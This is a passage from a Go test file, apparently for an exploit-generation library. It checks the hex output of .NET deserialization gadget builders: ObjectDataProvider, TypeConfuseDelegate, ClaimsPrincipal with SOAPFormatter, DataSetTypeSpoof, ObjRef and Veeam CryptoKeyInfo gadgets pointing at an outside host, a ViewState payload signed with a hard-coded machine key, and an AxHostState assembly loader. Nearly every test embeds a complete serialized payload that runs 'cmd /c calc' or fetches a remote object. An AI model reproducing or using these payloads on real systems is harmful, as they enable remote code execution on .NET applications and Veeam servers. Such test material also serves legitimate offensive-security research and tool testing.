733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b" {
		t.Fatalf("Invalid CreateDataSet output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateObjectDataProvider(t *testing.T) {
	got, ok := CreateObjectDataProvider("cmd", "/c calc", "")
	if !ok || fmt.Sprintf("%02x", got) != "7b222474797065223a2253797374656d2e57696e646f77732e446174612e4f626a6563744461746150726f76696465722c2050726573656e746174696f6e4672616d65776f726b2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335222c224d6574686f644e616d65223a225374617274222c224d6574686f64506172616d6574657273223a7b222474797065223a2253797374656d2e436f6c6c656374696f6e732e41727261794c6973742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839222c222476616c756573223a5b22636d64222c222f632063616c63225d7d2c224f626a656374496e7374616e6365223a7b222474797065223a2253797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839227d7d" {
		t.Fatalf("Invalid CreateObjectDataProvider output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateTypeConfuseDelegate(t *testing.T) {
	got, ok := CreateTypeConfuseDelegate("cmd", "/c calc", "")
	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c020000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390501000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e536f7274656453657460315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000005436f756e7408436f6d70617265720756657273696f6e054974656d7300030006088d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d080200000002000000090300000002000000090400000004030000008d0153797374656d2e436f6c6c656374696f6e732e47656e657269632e436f6d70617269736f6e436f6d706172657260315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d010000000b5f636f6d70617269736f6e032253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c64657209050000001104000000020000000606000000072f632063616c63060700000003636d6404050000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572030000000844656c6567617465076d6574686f6430076d6574686f64310303033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465722f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657209080000000909000000090a00000004080000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e747279060b000000b00253797374656d2e46756e6360335b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e446961676e6f73746963732e50726f636573732c2053797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d060c0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a060d0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839060e0000001a53797374656d2e446961676e6f73746963732e50726f63657373060f000000055374617274091000000004090000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d090f000000090d000000090e00000006140000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e672906150000003e53797374656d2e446961676e6f73746963732e50726f636573732053746172742853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a010a00000009000000061600000007436f6d70617265090c00000006180000000d53797374656d2e537472696e6706190000002b496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729061a0000003253797374656d2e496e74333220436f6d706172652853797374656d2e537472696e672c2053797374656d2e537472696e6729080000000a011000000008000000061b0000007153797374656d2e436f6d70617269736f6e60315b5b53797374656d2e537472696e672c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d090c0000000a090c000000091800000009160000000a0b" {
		t.Fatalf("Invalid CreateTypeConfuseDelegate output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateClaimsPrincipal(t *testing.T) {
	got, ok := CreateClaimsPrincipal("cmd", "/c calc", "SOAPFormatter")
	if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a436c61696d735072696e636970616c2069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e436c61696d732f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c6d5f73657269616c697a6564436c61696d734964656e7469746965732069643d227265662d3522207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f6d5f73657269616c697a6564436c61696d734964656e7469746965733e3c2f61313a436c61696d735072696e636970616c3e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" {
		t.Fatalf("Invalid CreateClaimsPrincipal+SOAPFormatter output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateCreateDataSetTypeSpoof(t *testing.T) {
	got, ok := CreateDataSetTypeSpoof("cmd", "/c calc", "BinaryFormatter")
	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c02000000086d73636f726c69620c030000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000006353797374656d2e446174612e446174615365742c2053797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038390a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740300000001080108020200000005fcffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080300000001000000060500000000090500000009050000000009040000000a0100000009060000000f06000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b0b" {
		t.Fatalf("Invalid CreateDataSetTypeSpoof output... val: %q hexform: %02x\n", got, got)
	}
}

func TestPrimitiveByte(t *testing.T) {
	got := PrimitiveByte(151).PrimToString()
	if got != "\x97" {
		t.Fatalf("Invalid PrimitiveByte PrimToString output... output: %q\n", got)
	}
}

func TestCreateObjectRef(t *testing.T) {
	got, ok := CreateObjectRef("http://192.168.51.15:8888/hcQaAT", "")
	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff010000000000000004010000001053797374656d2e457863657074696f6e0100000009436c6173734e616d65031e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566090200000004020000001e53797374656d2e52756e74696d652e52656d6f74696e672e4f626a526566010000000375726c01060300000020687474703a2f2f3139322e3136382e35312e31353a383838382f6863516141540b" {
		t.Fatalf("Invalid CreateObjectRef output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateVeeamCryptoKeyInfo(t *testing.T) {
	got, ok := CreateVeeamCryptoKeyInfo("http://192.168.51.15:8888/WPSIQB", "")
	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c0200000056566565616d2e4261636b75702e4d6f64656c2c2056657273696f6e3d31322e312e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62666436383464653232373637383361050100000023566565616d2e4261636b75702e4d6f64656c2e43446243727970746f4b6579496e666f09000000024964084b65795365744964074b6579547970650448696e74114465637279707465644b657956616c75650a4c6f63616c654c434944134d6f64696669636174696f6e446174655574630943727970746f416c670a526570616972526563730302000101000000060b53797374656d2e4775696408080d080200000004fdffffff0b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b00000000000000000000000807070202020202020202de1e26afefbf524f970f7ffe1c1c79270a010000000604000000056161616161060500000004414141410904000000000000000000000100000009060000001106000000010000000607000000e801414145414141442f2f2f2f2f415141414141414141414145415141414142425465584e305a5730755258686a5a584230615739754151414141416c446247467a6330356862575544486c4e356333526c62533553645735306157316c4c6c4a6c625739306157356e4c6b3969616c4a6c5a676b4341414141424149414141416555336c7a644756744c6c4a31626e527062575575556d567462335270626d637554324a71556d566d4151414141414e31636d774242674d41414141676148523063446f764c7a45354d6934784e6a67754e5445754d5455364f4467344f43395855464e4a5555494c0b" {
		t.Fatalf("Invalid CreateVeeamCryptoKeyInfo output... val: %q hexform: %02x\n", got, got)
	}
}

func TestViewstateGeneration(t *testing.T) {
	payload, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "LOSFormatter") // generate using our own dotnet generator
	if !ok {
		t.Fatal("Could not generate payload")
	}

	// sign the payload with the hard-coded key
	StaticMachineKey := "CB3721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25302BF"
	Generator := "4fe2630a"
	got, ok := CreateViewstatePayload(payload, StaticMachineKey, Generator)
	if !ok {
		t.Fatal("Could not generate viewstate payload")
	}
	if !ok || fmt.Sprintf("%02x", got) != "2f774579304155414151414141502f2f2f2f384241414141414141414141774341414141586b317059334a766332396d644335516233646c636c4e6f5a5778734c6b566b6158527663697767566d567963326c76626a307a4c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c655652766132567550544d78596d597a4f4455325957517a4e6a526c4d7a55464151414141454a4e61574e7962334e765a6e5175566d6c7a64574673553352315a476c764c6c526c65485175526d39796257463064476c755a7935555a586830526d39796257463064476c755a314a31626c42796233426c636e52705a584d424141414144305a76636d566e636d3931626d5243636e567a614145434141414142674d4141414479417a78535a584e7664584a6a5a5552705933527062323568636e6b6765473173626e4d39496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734c3342795a584e6c626e526864476c766269496765473173626e4d36574430696148523063446f764c334e6a6147567459584d7562576c6a636d397a62325a304c6d4e76625339336157356d654338794d4441324c33686862577769494868746247357a4f6c4d39496d4e73636931755957316c633342685932553655336c7a644756744f32467a63325674596d78355057317a5932397962476c694969423462577875637a704550534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c625335456157466e626d397a64476c6a637a746863334e6c62574a736554317a65584e305a573069506a7850596d706c593352455958526855484a76646d6c6b5a5849675744704c5a586b394969496754324a715a574e3056486c775a5430696531673656486c775a5342454f6c427962324e6c63334e394969424e5a58526f6232524f5957316c50534a54644746796443492b50453969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a78544f6c4e30636d6c755a7a356a625751384c314d36553352796157356e506a78544f6c4e30636d6c755a7a34765979426a5957786a504339544f6c4e30636d6c755a7a34384c303969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a777654324a715a574e30524746305956427962335a705a475679506a7776556d567a623356795932564561574e306157397559584a35506773464a64682f48794e4c72375a484339704164627343734e6b6d56747858447a4a50687743786e6b683178673d3d" {
		t.Fatalf("Invalid CreateViewstatePayload output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateAxHostStateDLL(t *testing.T) {
	got, ok := CreateAxHostStateDLL([]byte("nonsense"), LOSFormatter) // generate using our own dotnet generator
	if !ok {
		t.Fatal("Could not generate payload")
	}
	if !ok || fmt.Sprintf("%02x", got) != "ff0132903d0001000000ffffffff01000000000000000c020000005753797374656d2e57696e646f77732e466f726d732c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000002153797374656d2e57696e646f77732e466f726d732e4178486f73742b5374617465010000001150726f706572747942616742696e61727907020200000009030000000f03000000cf1d0000020001000000ffffffff010000000000000004010000007f53797374656d2e436f6c6c656374696f6e732e47656e657269632e4c69737460315b5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d03000000065f6974656d73055f73697a65085f76657273696f6e050000080809020000000a0000000a0000001002000000100000000903000000090400000009050000000906000000090700000009080000000909000000090a000000090b000000090c0000000d0607030000000101000000010000000702090d0000000c0e0000006153797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d3331626633383536616433363465333505040000006a53797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2e53657269616c697a6174696f6e2e4163746976697479537572726f6761746553656c6563746f722b4f626a656374537572726f676174652b4f626a65637453657269616c697a65645265660200000004747970650b6d656d626572446174617303051f53797374656d2e556e69747953657269616c697a6174696f6e486f6c6465720e000000090f0000000910000000010500000004000000091100000009120000000106000000040000000913000000091400000001070000000400000009150000000916000000010800000004000000091700000009180000000109000000040000000919000000091a000000010a00000004000000091b000000091c000000010b00000004000000091d000000091e000000040c0000001c53797374656d2e436f6c6c656374696f6e732e486173687461626c65070000000a4c6f6164466163746f720756657273696f6e08436f6d70617265721048617368436f646550726f7669646572084861736853697a65044b6579730656616c756573000003030005050b081c53797374656d2e436f6c6c656374696f6e732e49436f6d70617265722453797374656d2e436f6c6c656374696f6e732e4948617368436f646550726f766964657208ec51383f020000000a0a03000000091f00000009200000000f0d00000008000000026e6f6e73656e7365040f0000001f53797374656d2e556e69747953657269616c697a6174696f6e486f6c64657203000000044461746109556e697479547970650c417373656d626c794e616d65010001080621000000fe0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000006220000004e53797374656d2e436f72652c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383910100000000700000009030000000a09240000000a0808000000000a08080100000001110000000f0000000625000000f50253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010120000000700000009040000000a09280000000a0808000000000a08080100000001130000000f0000000629000000df0353797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010140000000700000009050000000a092c0000000a0808000000000a08080100000001150000000f000000062d000000e60253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000009220000001016000000070000000906000000093000000009310000000a0808000000000a08080100000001170000000f0000000632000000ef0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010180000000700000009070000000a09350000000a0808000000000a08080100000001190000000f00000006360000002953797374656d2e5765622e55492e576562436f6e74726f6c732e506167656444617461536f757263650400000006370000004d53797374656d2e5765622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62303366356637663131643530613361101a00000007000000090800000008080000000008080a000000080100080100080100080800000000011b0000000f00000006390000002953797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e44657369676e65725665726204000000063a0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101c000000050000000d02093b000000080803000000090b000000011d0000000f000000063d0000003453797374656d2e52756e74696d652e52656d6f74696e672e4368616e6e656c732e41676772656761746544696374696f6e61727904000000063e0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101e000000010000000909000000101f00000002000000090a000000090a000000102000000002000000064100000000094100000004240000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572020000000844656c6567617465076d6574686f643003033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465720942000000094300000001280000002400000009440000000945000000012c000000240000000946000000094700000001300000002400000009480000000949000000013100000024000000094a000000094b000000013500000024000000094c000000094d000000013b00000004000000094e000000094f00000004420000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472790650000000d50153797374656d2e46756e6360325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e00000006520000001a53797374656d2e5265666c656374696f6e2e417373656d626c790653000000044c6f61640a04430000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d0953000000093e000000095200000006560000002753797374656d2e5265666c656374696f6e2e417373656d626c79204c6f616428427974655b5d2906570000002e53797374656d2e5265666c656374696f6e2e417373656d626c79204c6f61642853797374656d2e427974655b5d29080000000a0144000000420000000658000000cc0253797374656d2e46756e6360325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e